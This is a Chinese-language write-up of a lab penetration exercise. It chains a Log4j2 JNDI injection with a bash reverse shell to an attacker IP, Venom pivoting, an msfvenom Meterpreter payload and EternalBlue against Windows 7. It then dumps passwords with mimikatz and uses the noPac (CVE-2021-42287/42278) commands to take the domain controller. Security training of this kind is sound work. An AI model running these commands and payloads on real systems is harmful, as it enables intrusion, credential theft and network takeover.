前言

记一次log4j2打入内网并用CVE-2021-42287、CVE-2021-42278获取到DC权限的靶场渗透。

外网打点

首先对web进行端口扫描,发现38080端口和22端口

访问一下38080端口发现是一个error page

用Wappalyzer看一下是什么架构,但是好像没有检测出来

拿着报错去百度上发现应该是springboot

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

使用payload=${jndi:ldap://p9j8l8.dnslog.cn}验证一下有回显证明存在漏洞

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105

抓包修改Content-Type: appllication/x-www-form-urlencoded,并执行以下payload成功回显

payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}

执行ls -al /看一下也成功

nc开启监听端口

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

bash -i >& /dev/tcp/192.168.1.105/9999 0>&1

抓包添加payload=${jndi:ldap:1/192.168.1.105:1389/TomcatBypass/Command/Base64/二层转码之后的字符},即可得到反弹shell

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

在根目录下找到了第一个flag,这里有一个got this,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

使用xshell尝试连接

连接成功,拿到了宿主机的权限

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done

ping一下是存活的

使用毒液把流量代理出来,首先开启监听

admin.exe -lport 7777

然后上传agent_linux到靶机上

加权并执行

chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777

连接成功

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

首先生成一个32位的elf马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

然后加权并执行

chmod 777 shell.elf
 
./shell

kali使用exploit/multi/handler进行监听

获取到宿主机的shell

然后添加10.0.1.0/24段的路由

bg

route add 10.0.1.0 255.255.255.0 1
route print

然后配置proxychain4.conf文件并使用socks模块

search socks
use auxiliary/sevrer/socks_proxy
run

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

proxychains4 nmap -sT -Pn 10.0.1.7

发现有445端口,那么对445端口进一步扫描

先确定一下系统版本,使用auxiliary/scanner/smb/smb_version模块,发现是win7 sp1

看能不能利用永恒之蓝,这里使用到auxiliary/scanner/smb/smb_ms17_010模块,发现可以利用永恒之蓝

使用exploit/windows/smb/ms17_010_eternalbule模块,因为是不出网环境,这里需要用到bind_tcp载荷

run之后拿到一个system权限的meterpreter

C:\Users\root\Desktop下拿到第二个flag

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

ipconfig /all看到dns服务器为redteam.lab应该在域内

这里ping一下redteam.lab得到域控的ip为10.0.0.12

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到Administrator/Admin12345,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请移步

privilege::debug
sekurlsa::logonpasswords

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

noPac.exe下载地址:https://github.com/cube0x0/noPac

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

  1. 首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad

    addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除

  2. 清除机器账户的servicePrincipalName属性

  3. 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$

  4. 为机器账户请求TGT

  5. 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可

  6. 通过S4U2self协议向DC请求ST

  7. 进行 DCsync Attack

这里直接使用sam_the_admin.py进行攻击

proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell

即可拿到DC的shell

C:\Users\Administrator\Desktop下找到最后一个flag

后记

因为时间原因一些自己整理的笔记没有及时发文章,一些平时学习的笔记都放在了公众号 红队蓝军 上,感兴趣的小伙伴们可以关注一下

记一次log4j2引发的渗透测试的更多相关文章

  1. 记一次织梦cms渗透测试

    记一次织梦cms渗透测试 0x01 前言 本次测试的整个流程:枚举用户名-针对性暴破-登录后台-后台编辑php文件getshell. 0x02 过程 1.登录功能模块存在用户名枚举缺陷,利用此权限先枚 ...

  2. 记一次由sql注入到拿下域控的渗透测试实战演练(下)

    本次渗透使用工具: mimikatz,PsExec 本次渗透网络拓扑图: 开始渗透: 上一篇文章中我们讲到我们成功渗透了目标内网中web服务器并提取其管理员明文密码,通过明文密码又成功登陆了内网中的另 ...

  3. [原创]安卓使用Termux做渗透测试(演示sqlmap安装,并附上一个神器)

    由于手机kali太大,并且MIUI8+Android6.0的我.用手机kali不是太方便(懒得捣鼓),所以另找道路,用手机作渗透测试. 1.下载一个Termux,并授予ROOT权限. 2.打开之后输入 ...

  4. Python:渗透测试开源项目

    Python:渗透测试开源项目[源码值得精读] sql注入工具:sqlmap DNS安全监测:DNSRecon 暴力破解测试工具:patator XSS漏洞利用工具:XSSer Web服务器压力测试工 ...

  5. 渗透测试入门DVWA 教程1:环境搭建

    首先欢迎新萌入坑.哈哈.你可能抱着好奇心或者疑问.DVWA 是个啥? DVWA是一款渗透测试的演练系统,在圈子里是很出名的.如果你需要入门,并且找不到合适的靶机,那我就推荐你用DVWA. 我们通常将演 ...

  6. Web渗透测试笔记(基础部分)

    信息收集: dns信息收集 格式:dns... -参数 域名 -参数 示例: root@xxSec:~# dnsenum baidu.com root@xxSec:~# dnsenum -f dns. ...

  7. 【渗透技术】渗透测试技术分析_TomCat

    [渗透技术]渗透测试技术分析_TomCat 本文转自:i春秋论坛 渗透测试-中间人攻击(原理)说起“中间人攻击”我想大多数对渗透测试又了解的朋友都多少有所了解,因为我们用到的次数真是非常的多.它可以将 ...

  8. 新萌渗透测试入门DVWA 教程1:环境搭建

    首先欢迎新萌入坑.哈哈.你可能抱着好奇心或者疑问.DVWA 是个啥? DVWA是一款渗透测试的演练系统,在圈子里是很出名的.如果你需要入门,并且找不到合适的靶机,那我就推荐你用DVWA. 我们通常将演 ...

  9. 记一次用WPScan辅助渗透WordPress站点

    记一次用WPScan辅助渗透WordPress站点 一.什么是WPScan? WPScan 是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress ...

随机推荐

  1. Can we access global variable if there is a local variable with same name?

    In C, we cannot access a global variable if we have a local variable with same name, but it is possi ...

  2. oracle(查询数据库对象1)

    1 --查询表信息 2 xxx_tables--包含表的基本描述信息和统计信息 3 xxx_tab_columns--包含表中列的描述信息和统计信息 4 xxx_all_tables--包含当前数据库 ...

  3. Camera、音频录制与Vitamio框架

    一.Camera 1.概述 Android框架包含了各种相机哥相机功能的支持,是你可以在应用中捕获图像和视频. 在应用能使用设备上的相机之前,先想一想将来会如何使用此硬件: (1)Camera  应该 ...

  4. Servlet(2):通过servletContext对象实现数据共享

    一,ServletContext介绍 web容器在启动时,它会为每一个web应用程序都创建一个ServletContext对象,它代表当前web应用 多个Servlet通过ServletContext ...

  5. Java 使用slf4j记录日志

    引入依赖 <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12< ...

  6. 【Python】【Algorithm】排序

    冒泡排序 dic = [12, 45, 22, 6551, 74, 155, 6522, 1, 386, 15, 369, 15, 128, 123, ] for j in range(1, len( ...

  7. 【C/C++】引用&的含义/语法/作为函数参数/函数返回值/本质/常量引用

    含义 引用不产生副本,只是给原变量起了别名. 对引用变量的操作就是对原变量的操作. 基本语法 数据类型 &别名 = 原名 e.g. int a = 10; int &b = a; // ...

  8. Mysql资料 mysqldump

    目录 一.简介 备份过程 优缺点 命令使用 myisam引擎 二.安装 配置 日志 三.日常使用 备份全库 备份单个库(带建立库的语句) 备份单个库(不自动建立库) 备份表合集 从全备中恢复单个库 其 ...

  9. Typora软件使用教程

    Typora软件的使用教程 Typora软件简介 Typora是一款轻便简洁的Markdown编辑器,支持即时渲染技术,这也是与其他Markdown编辑器最显著的区别.当然重点是免费. Typora编 ...

  10. [源码解析] PyTorch 分布式(18) --- 使用 RPC 的分布式管道并行

    [源码解析] PyTorch 分布式(18) --- 使用 RPC 的分布式管道并行 目录 [源码解析] PyTorch 分布式(18) --- 使用 RPC 的分布式管道并行 0x00 摘要 0x0 ...